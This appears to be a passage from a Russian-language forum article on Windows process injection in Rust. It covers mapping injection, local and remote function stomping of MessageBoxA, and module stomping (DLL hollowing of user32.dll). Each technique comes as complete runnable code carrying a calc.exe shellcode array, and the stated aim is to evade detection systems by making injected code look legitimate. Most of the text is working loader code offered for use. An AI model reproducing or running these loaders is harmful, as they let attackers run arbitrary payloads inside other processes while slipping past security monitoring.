Обычно, при широком использовании таких API-вызовов, как VirtualAlloc и VirtualAllocEx, где тип выделения памяти является приватным (Private memory), вероятность обнаружения становится очень высокой, поэтому необходимо найти технику обхода. Другим типом внедрения может быть инъекция через отображение памяти (Mapping Injection), или, другими словами, внедрение вредоносного кода в отображаемые секции памяти, которые являются блоками памяти, разделяемыми между процессами, что позволяет использовать их как форму межпроцессного взаимодействия (IPC). Вместо копирования шелл-кода между процессами, эта техника позволяет удаленному процессу получить прямой доступ к шелл-коду. Процесс включает создание секции памяти в локальном процессе, отображение её представления и копирование шелл-кода в эту секцию. Затем создается представление секции в удаленном процессе, что позволяет ему получить доступ и выполнить шелл-код, и таким образом мы можем избежать использования упомянутых выше API-вызовов и использовать такие API-вызовы, как CreateFileMappingA и MapViewOfFile.CreateFileMappingA:
Этот вызов API возвращает дескриптор файлового объекта, а содержимое файла на диске сопоставляется с областью памяти.
Код: Скопировать в буфер обмена
Код:
pub unsafe fn CreateFileMappingA<P0, P1>(
hfile: P0,
lpfilemappingattributes: Option<*const SECURITY_ATTRIBUTES>,
flprotect: PAGE_PROTECTION_FLAGS,
dwmaximumsizehigh: u32,
dwmaximumsizelow: u32,
lpname: P1,
) -> Result<HANDLE>
where
P0: Param<HANDLE>,
P1: Param<PCSTR>,
Этот вызов API отображает представление сопоставления файла в адресное пространство вызывающего процесса.
Код: Скопировать в буфер обмена
Код:
pub unsafe fn MapViewOfFile<P0>(
hfilemappingobject: P0,
dwdesiredaccess: FILE_MAP,
dwfileoffsethigh: u32,
dwfileoffsetlow: u32,
dwnumberofbytestomap: usize,
) -> MEMORY_MAPPED_VIEW_ADDRESS
where
P0: Param<HANDLE>,
Этот вызов API отображает представление файла в адресное пространство указанного удаленного процесса.
Код: Скопировать в буфер обмена
Код:
pub unsafe fn MapViewOfFileNuma2<P0, P1>(
filemappinghandle: P0,
processhandle: P1,
offset: u64,
baseaddress: Option<*const c_void>,
viewsize: usize,
allocationtype: u32,
pageprotection: u32,
preferrednode: u32,
) -> MEMORY_MAPPED_VIEW_ADDRESS
where
P0: Param<HANDLE>,
P1: Param<HANDLE>,
- CreateFileMapping вызывается для создания объекта проецируемого файла.
- MapViewOfFile вызывается для отображения объекта в адресное пространство локального процесса.
- Данные копируются в выделенную память.
- Новое представление файла отображается в адресное пространство другого процесса с помощью MapViewOfFileNuma2, что позволяет процессам обмениваться данными через общую память.
Код:
use std::{
mem::transmute,
ptr::{copy_nonoverlapping, null},
};
use sysinfo::System;
use windows::Win32::{
Foundation::INVALID_HANDLE_VALUE,
System::Threading::{CreateRemoteThread, OpenProcess, WaitForSingleObject, INFINITE},
System::{
Memory::{
CreateFileMappingA, MapViewOfFile, MapViewOfFileNuma2, FILE_MAP_EXECUTE,
FILE_MAP_WRITE, PAGE_EXECUTE_READWRITE,
},
Threading::PROCESS_ALL_ACCESS,
},
};
fn find_process(process_name: &str) -> Result<u32, String> {
let mut system = System::new_all();
system.refresh_all();
let processes: Vec<_> = system
.processes()
.values()
.filter(|process| process.name().to_ascii_lowercase() == process_name)
.collect();
for process in processes {
println!("[i] {} process with PID found: {}", process_name, process.pid());
return Ok(process.pid().as_u32());
}
return Err(String::from("Error finding the PID of the mentioned process!"));
}
fn main() {
let shellcode: [u8; 276] = [
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
];
unsafe {
println!("[+] Creating a mapping file");
let pid_process = find_process("notepad.exe").unwrap_or_else(|e| {
panic!("[!] find_process Failed With Error: {e}");
});
let hprocess = OpenProcess(PROCESS_ALL_ACCESS, false, pid_process).unwrap_or_else(|e| {
panic!("[!] OpenProcess Failed With Error: {e}");
});
let hfile = CreateFileMappingA(
INVALID_HANDLE_VALUE,
None,
PAGE_EXECUTE_READWRITE,
0,
shellcode.len() as u32,
None,
).unwrap_or_else(|e| {
panic!("[!] CreateFileMappingA Failed With Error: {e}");
});
println!("[+] Mapping the file object");
let map_address = MapViewOfFile(
hfile,
FILE_MAP_WRITE | FILE_MAP_EXECUTE,
0,
0,
shellcode.len(),
);
//print local mapping address
println!("Local Mapping Address: {:?}", map_address);
println!("[+] Copying Shellcode to another process");
copy_nonoverlapping(shellcode.as_ptr() as _, map_address.Value, shellcode.len());
let p_map_address = MapViewOfFileNuma2(hfile, hprocess, 0, None, 0, 0, PAGE_EXECUTE_READWRITE.0, 0);
//print remote mapping address
println!("Remote Mapping Address: {:?}", p_map_address);
println!("[+] Type Enter to Run");
let _ = std::io::stdin().read_line(&mut String::new());
let hthread = CreateRemoteThread(
hprocess,
Some(null()),
0,
transmute(p_map_address.Value),
Some(null()),
0,
None,
).unwrap_or_else(|e| {
panic!("[!] CreateRemoteThread Failed With Error: {e}");
});
WaitForSingleObject(hthread, INFINITE);
}
}
Как мы видим, память является "Mapped", а не "Private", что помогает нам улучшить нашу технику уклонения и выглядеть более законно.
4- Function Stomping.
Термин "stomping" относится к процессу перезаписи или замены памяти функции или другой структуры данных в программе другими данными.Function stomping (затирание функции) - это метод, при котором байты исходной функции заменяются новым кодом, что приводит к замене функции или к тому, что она перестает работать по назначению. Вместо этого функция будет выполнять другую логику. Для реализации этого требуется адрес функции, которая будет "принесена в жертву" для затирания.
Локальное получение адреса функции является простым, но основной проблемой данной техники является то, какая именно функция извлекается. Перезапись часто используемой функции может привести к неконтролируемому выполнению полезной нагрузки или краху процесса. Поэтому следует понимать, что нацеливание на функции, экспортируемые из ntdll.dll, kernel32.dll и kernelbase.dll, является рискованным. Вместо этого следует выбирать менее часто используемые функции, такие как MessageBox, поскольку они редко используются операционной системой или другими приложениями.
Local Function Stomping
Для демонстрации кода ниже целевой функцией является MessageBoxA. Это совершенно случайная функция, но её перезапись вряд ли вызовет какие-либо проблемы. Согласно документации Microsoft, функция экспортируется из user32.dll. Поэтому первым шагом будет загрузка user32.dll в локальную память процесса с помощью LoadLibraryA, а затем получение адреса функции с помощью GetProcAddress. Следующим шагом будет перезапись функции и замена её полезной нагрузкой. Убедитесь, что функцию можно перезаписать, пометив её область памяти как доступную для чтения и записи с помощью VirtualProtect. Затем полезная нагрузка записывается по адресу функции, и наконец, VirtualProtect используется снова для пометки области как исполняемой (RX или RWX).C++: Скопировать в буфер обмена
Код:
use std::{
ffi::c_void,
mem::transmute,
ptr::copy,
ptr::{null, null_mut},
};
use windows::{
core::s,
Win32::System::{
LibraryLoader::{GetProcAddress, LoadLibraryA},
Memory::{VirtualProtect, PAGE_EXECUTE_READWRITE, PAGE_PROTECTION_FLAGS, PAGE_READWRITE},
Threading::{CreateThread, WaitForSingleObject, INFINITE, THREAD_CREATION_FLAGS},
},
};
fn main() {
let shellcode: [u8; 276] = [
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
];
unsafe {
let h_module = LoadLibraryA(s!("user32")).unwrap_or_else(|e| {
panic!("[!] LoadLibraryA Failed With Error: {e}");
});
let func = GetProcAddress(h_module, s!("MessageBoxA")).expect("[!] GetProcAddress Failed");
println!("MessageBoxA Address at: {p:?}", p = func);
let func_ptr = transmute::<_, *mut c_void>(func);
let mut oldprotect = PAGE_PROTECTION_FLAGS(0);
VirtualProtect(func_ptr, shellcode.len(), PAGE_READWRITE, &mut oldprotect).unwrap_or_else(|e| {
panic!("[!] VirtualProtect (1) Failed With Error: {e}");
});
println!("Press Enter to Execute Shellcode");
let _ = std::io::stdin().read_line(&mut String::new());
copy(shellcode.as_ptr(), func_ptr as *mut u8, shellcode.len());
VirtualProtect(
func_ptr,
shellcode.len(),
PAGE_EXECUTE_READWRITE,
&mut oldprotect,
).unwrap_or_else(|e| {
panic!("[!] VirtualProtect (2) Failed With Error: {e}");
});
let hthread = CreateThread(
Some(null()),
0,
Some(transmute(func_ptr)),
Some(null()),
THREAD_CREATION_FLAGS(0),
Some(null_mut()),
).unwrap_or_else(|e| {
panic!("[!] CreateThread Failed With Error: {e}");
});
WaitForSingleObject(hthread, INFINITE);
}
}
Remote Function Stomping
DLL-файлы, реализующие функции Windows API, являются общими для всех процессов, которые их используют, поэтому функции внутри DLL имеют один и тот же адрес в каждом процессе. Однако адрес самой DLL будет отличаться между процессами из-за различных виртуальных адресных пространств. Это означает, что, хотя адрес целевой функции остается постоянным в разных процессах, DLL, экспортирующая эти функции, может быть разной.Например, два процесса, A и B, будут совместно использовать Kernel32.dll, но адрес DLL может быть различным в каждом процессе из-за ASLR. Тем не менее, VirtualAlloc, экспортируемый из Kernel32.dll, будет иметь одинаковый адрес в обоих процессах.
Важно отметить, что для удаленного выполнения подмены функций, DLL, экспортирующая целевую функцию, должна уже быть загружена в целевой процесс. Например, чтобы использовать функцию MessageBoxA в удаленном процессе, которая экспортируется из user32.dll, эта DLL должна уже быть загружена в целевой процесс. Если в удаленном процессе не загружен user32.dll, функция MessageBoxA не будет присутствовать в целевом процессе, что приведет к попытке записи по несуществующему адресу.
C++: Скопировать в буфер обмена
Код:
use std::{
ffi::c_void,
mem::transmute,
ptr::{null, null_mut},
};
use sysinfo::System;
use windows::{
core::s,
Win32::Foundation::HANDLE,
Win32::System::{
Diagnostics::Debug::WriteProcessMemory,
LibraryLoader::{GetProcAddress, LoadLibraryA},
Memory::{VirtualProtectEx, PAGE_EXECUTE_READWRITE, PAGE_PROTECTION_FLAGS, PAGE_READWRITE},
Threading::{
CreateRemoteThread, OpenProcess, WaitForSingleObject, INFINITE, PROCESS_ALL_ACCESS,
},
},
};
fn find_process(name: &str) -> Result<HANDLE, String> {
let mut system = System::new_all();
system.refresh_all();
for (pid, process) in system.processes() {
if process.name() == name {
let pid = pid.as_u32();
let hprocess = unsafe { OpenProcess(PROCESS_ALL_ACCESS, false, pid) };
if hprocess.is_err() {
return Err(String::from(format!(
"Failed to open process with PID: {pid}"
)));
} else {
return Ok(hprocess.unwrap());
}
}
}
return Err(String::from("Process not found"));
}
fn main() {
let shellcode: [u8; 276] = [
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
];
unsafe {
let hprocess = find_process("Notepad.exe").unwrap_or_else(|e| {
panic!("[!] find_process Failed With Error: {e}");
});
let hmodule = LoadLibraryA(s!("user32")).unwrap_or_else(|e| {
panic!("[!] LoadLibraryA Failed With Error: {e}");
});
let func = GetProcAddress(hmodule, s!("MessageBoxA")).unwrap_or_else(|| {
panic!("[!] GetProcAddress Failed");
});
let func_ptr = transmute::<_, *mut c_void>(func);
let mut oldprotect = PAGE_PROTECTION_FLAGS(0);
VirtualProtectEx(
hprocess,
func_ptr,
shellcode.len(),
PAGE_READWRITE,
&mut oldprotect,
).unwrap_or_else(|e| {
panic!("[!] VirtualProtectEx (1) Failed With Error: {e}");
});
WriteProcessMemory(
hprocess,
func_ptr,
shellcode.as_ptr() as _,
shellcode.len(),
None,
).unwrap_or_else(|e| {
panic!("[!] WriteProcessMemory Failed With Error: {e}");
});
VirtualProtectEx(
hprocess,
func_ptr,
shellcode.len(),
PAGE_EXECUTE_READWRITE,
&mut oldprotect,
).unwrap_or_else(|e| {
panic!("[!] VirtualProtectEx (2) Failed With Error: {e}");
});
let hthread = CreateRemoteThread(
hprocess,
Some(null()),
0,
Some(transmute(func_ptr)),
Some(null()),
0,
Some(null_mut()),
).unwrap_or_else(|e| {
panic!("[!] CreateRemoteThread Failed With Error: {e}");
});
WaitForSingleObject(hthread, INFINITE);
}
}
5- Module Stomping.
Модульное внедрение (Module Stomping), также известное как DLL Hollowing, - это еще один метод внедрения шелл-кода в память. Он также может использоваться для внедрения полноценной легитимной DLL и перезаписи её базового адреса для запуска вредоносного шелл-кода. При этом внедренный шелл-код будет выглядеть как валидная стандартная DLL. Действительно, когда шелл-код внедряется в память с помощью простых VirtualAllocEx и WriteProcessMemory, будет казаться, что он загружен "из ниоткуда". Но используя эту технику, мы можем загрузить шелл-код с действительного легитимного места, такого как user32.dll. Этот метод позволяет избежать использования выделения памяти RWX в целевом процессе. Более того, шелл-код загружается как действительная Windows DLL, поэтому системы обнаружения не увидят никаких подозрительных мест загрузки. Наконец, запущенный удаленный поток связан с легитимным модулем Windows.Спойлер: main.rs
C++: Скопировать в буфер обмена
Код:
use std::{ffi::c_void, ptr::null_mut};
use ntapi::ntmmapi::{NtMapViewOfSection, ViewShare};
use windows::{
core::s,
Wdk::Storage::FileSystem::NtCreateSection,
Win32::{
Foundation::{GENERIC_READ, HANDLE},
Storage::FileSystem::{
CreateFileA, FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_MODE, OPEN_EXISTING
},
System::{
Diagnostics::Debug::IMAGE_NT_HEADERS64,
Threading::{CreateThread, THREAD_CREATION_FLAGS},
SystemServices::{IMAGE_DOS_HEADER, IMAGE_NT_SIGNATURE},
Memory::{
VirtualProtect, PAGE_EXECUTE_READWRITE, PAGE_PROTECTION_FLAGS,
PAGE_READONLY, PAGE_READWRITE, SECTION_ALL_ACCESS, SEC_IMAGE
},
},
},
};
const SHELLCODE: [u8; 276] = [
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
];
fn main() -> Result<(), Box<dyn std::error::Error>> {
let address = load_file()?;
let module = address.0;
let entry_point = address.1;
println!("[+] Base Address: {:?}", module);
println!("[+] AddressOfEntryPoint: {:?}", entry_point);
unsafe {
println!("[+] Changing protection from AddressOfEntryPoint to PAGE_READWRITE");
let mut old_protect = PAGE_PROTECTION_FLAGS(0);
VirtualProtect(entry_point,SHELLCODE.len(),PAGE_READWRITE,&mut old_protect)?;
println!("[+] Copying Shellcode to AddressOfEntryPoint");
std::ptr::copy_nonoverlapping(SHELLCODE.as_ptr(), entry_point as _, SHELLCODE.len());
println!("[+] Back to the old protection");
VirtualProtect(entry_point, SHELLCODE.len(), old_protect, &mut old_protect)?;
println!("[+] Press Enter to Execute Shellcode");
let _ = std::io::stdin().read_line(&mut String::new());
CreateThread(None,0,Some(std::mem::transmute(entry_point)),None,THREAD_CREATION_FLAGS(0), None)?;
println!("[+] Shellcode Executed!");
std::thread::sleep(std::time::Duration::from_secs(10));
Ok(())
}
}
fn load_file() -> Result<(*mut c_void, *mut c_void), String> {
unsafe {
let h_file = CreateFileA(
s!("C:\\Windows\\System32\\user32.dll"),
GENERIC_READ.0,
FILE_SHARE_MODE(0),
None,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
None,
).map_err(|e| format!("[!] CreateFileA Failed With Error: {e}"))?;
let mut section = HANDLE::default();
let status = NtCreateSection(
&mut section,
SECTION_ALL_ACCESS.0,
None,
None,
PAGE_READONLY.0,
SEC_IMAGE.0,
Some(h_file),
);
if status.is_err() {
return Err(format!("[!] NtCreateSection Failed With Status: {:?}", status));
}
let mut mapped_module = null_mut();
let mut view_size = 0;
let status = NtMapViewOfSection(
section.0 as _,
0xffffffffffffffffu64 as _,
&mut mapped_module,
0,
0,
null_mut(),
&mut view_size,
ViewShare,
0,
PAGE_EXECUTE_READWRITE.0,
);
if status != 0 {
return Err(format!("[!] NtMapViewOfSection Failed With Status: {}", status));
}
let dos_header = mapped_module as *mut IMAGE_DOS_HEADER;
let nt_header = (mapped_module as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
if (*nt_header).Signature != IMAGE_NT_SIGNATURE {
return Err(String::from("IMAGE SIGNATURE INVALID"));
}
let entry_point = (mapped_module as usize + (*nt_header).OptionalHeader.AddressOfEntryPoint as usize) as *mut c_void;
Ok((mapped_module as *mut c_void, entry_point))
}
}
Надеюсь, вам понравится моя статья. Если у вас есть какие-либо вопросы, отзывы или предложения, или если вы заметили какие-либо ошибки, пожалуйста, не стесняйтесь оставлять комментарии.
Написано с любовью
